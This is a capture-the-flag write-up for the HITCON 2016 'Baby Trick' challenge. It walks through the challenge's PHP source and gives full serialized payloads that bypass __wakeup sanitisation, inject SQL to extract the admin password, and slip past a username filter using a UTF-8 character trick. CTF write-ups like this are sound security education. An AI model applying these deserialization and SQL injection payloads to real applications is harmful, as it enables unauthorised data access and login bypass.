Hitcon 2016 – Baby Trick

Hi,

This week-end was the hitcon CTF.

A lot of interesting challenges. I will explain how we succeed to flag the Baby Trick.

To start, we got a link:

http://52.198.42.246/?

We can see the source code.

 

 <?php

include "config.php";

class HITCON{
    private $method;
    private $args;
    private $conn;

    public function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;

        $this->__conn();
    }

    function show() {
        list($username) = func_get_args();
        $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);

        $obj = $this->__query($sql);
        if ( $obj != false  ) {
            $this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
        } else {
            $this->__die("Nobody Nobody But You!");
        }
        
    }

    function login() {
        global $FLAG;

        list($username, $password) = func_get_args();
        $username = strtolower(trim(mysql_escape_string($username)));
        $password = strtolower(trim(mysql_escape_string($password)));

        $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);

        if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
            $this->__die("Orange is so shy. He do not want to see you.");
        }

        $obj = $this->__query($sql);
        if ( $obj != false && $obj->role == 'admin'  ) {
            $this->__die("Hi, Orange! Here is your flag: " . $FLAG);
        } else {
            $this->__die("Admin only!");
        }
    }

    function source() {
        highlight_file(__FILE__);
    }

    function __conn() {
        global $db_host, $db_name, $db_user, $db_pass, $DEBUG;

        if (!$this->conn)
            $this->conn = mysql_connect($db_host, $db_user, $db_pass);
        mysql_select_db($db_name, $this->conn);

        if ($DEBUG) {
            $sql = "CREATE TABLE IF NOT EXISTS users ( 
                        username VARCHAR(64), 
                        password VARCHAR(64), 
                        role VARCHAR(64)
                    ) CHARACTER SET utf8";
            $this->__query($sql, $back=false);

            $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
            $this->__query($sql, $back=false);
        } 

        mysql_query("SET names utf8");
        mysql_query("SET sql_mode = 'strict_all_tables'");
    }

    function __query($sql, $back=true) {
        $result = @mysql_query($sql);
        if ($back) {
            return @mysql_fetch_object($result);
        }
    }

    function __die($msg) {
        $this->__close();

        header("Content-Type: application/json");
        die( json_encode( array("msg"=> $msg) ) );
    }

    function __close() {
        mysql_close($this->conn);
    }

    function __destruct() {
        $this->__conn();

        if (in_array($this->method, array("show", "login", "source"))) {
            @call_user_func_array(array($this, $this->method), $this->args);
        } else {
            $this->__die("What do you do?");
        }

        $this->__close();
    }

    function __wakeup() {
        foreach($this->args as $k => $v) {
            $this->args[$k] = strtolower(trim(mysql_escape_string($v)));
        }
    }
}

if(isset($_GET["data"])) {
    @unserialize($_GET["data"]);    
} else {
    new HITCON("source", array());
}

 

Ho! A “unserialize()”… This is going to be interesting 🙂

What will be the idea to solve this challenge?

  1. Find a way to have a sql injection and get the admin password
  2. username “orange” is filtered, maybe we have something useful in the DB…
  3. If 2. fails, find a way to give “orange” to mysql but something else to php (huh?)

Let’s go!

We know that php call __wakeup on the object it deserializes.

We have two interesting methods in the code: login() and show().
I m sure you noticed that __wakeup sanitizes inputs, so we can’t do sql injection.
But wait… then why login() sanitizes again inputs? And why not show()?

Is there a possibility we can bypass __wakeup?

After a long and complicated search on google (first link on https://www.google.fr/#q=bypass+__wakeup) we learned that it is possible to bypass __wakeup!

They even give a POC:

<?php

class obj implements Serializable {
    var $data;
    function serialize() {
        return serialize($this->data);
    }
    function unserialize($data) {
        $this->data = unserialize($data);
    }
}

$inner = 'a:1:{i:0;O:9:"Exception":2:{s:7:"'."\0".'*'."\0".'file";R:4;}';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';

$data = unserialize($exploit);
echo $data[1];

?>

I let you read the details about this bug.

Now we have to adapt the POC to our challenge.
We are going to set the object Exception to the __conn private variable.
Of course we setup and test the challenge on a local web server to know if it was working.
The payload working was:

O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orange";i:1;s:8:"password";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

With this specific payload, the __destruct method was called but not the __wakeup, meaning our inputs were not sanitized! Yay, we have a sql injection!

Where? In the show() method. login() sanitizes its input independently, so we can not inject in this method 🙁
So let’s get the password of orange!
I will not explain to you how a sql Injection works, so the payload working to get the password was:

O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:2:{i:0;s:83:"

bla’ union select password,username,password from users where username=’orange’– –

";i:1;s:6:"phddaa";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

We received the result:

{"msg":"babytrick1234 is babytrick1234"}

Yay! We even got twice the password! 🙂

Unfortunately there was nothing more in the database except another user that was not admin 🙁

Now we have the correct payload:

O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orange";i:1;s:13:"babytrick1234";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

But of course orange was filtered… damn we though we did the hard part…

{"msg":"Orange is so shy. He do not want to see you."}

 

We spend some times searching a way to find a way bypassing php checks.
Then we focused on this line:

mysql_query("SET names utf8");

We can read on the web that php is not UTF-8 (https://security.stackexchange.com/questions/9908/multibyte-character-exploits-php-mysql) and has some problems handling it.

So what if we can give to mysql the string “orange” but another string to php such as it bypass the follwing checks:

if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
    $this->__die("Orange is so shy. He do not want to see you.");
}

After a lot of internet reading, some guess, local testing and some miracle inspiration we found it.

What if we replace the “a” of “orange” by a utf8 character?

For example let’s replace it by Ã.

O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orÃnge";i:1;s:13:"babytrick1234";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

Damn! We got a blank page… why it doesn’t like my payload? Everything is correct… So let’s try to fix it!

As “orÃnge” is not really appreciated by php, maybe he needs to read more bytes from it…
So instead of

s:6:"orÃnge"

Let’s try

s:7:"orÃnge"

Which give us the payload

O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:7:"orÃnge";i:1;s:13:"babytrick1234";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

And the result:

{"msg":"Hi, Orange! Here is your flag: hitcon{php 4nd mysq1 are s0 mag1c, isn't it?}"}

Yay! We got the flag! finally… 🙂

 

This challenge was really interesting and I learn some new stuff, so it was definitely a great challenge! Thanks guys!

Enjoy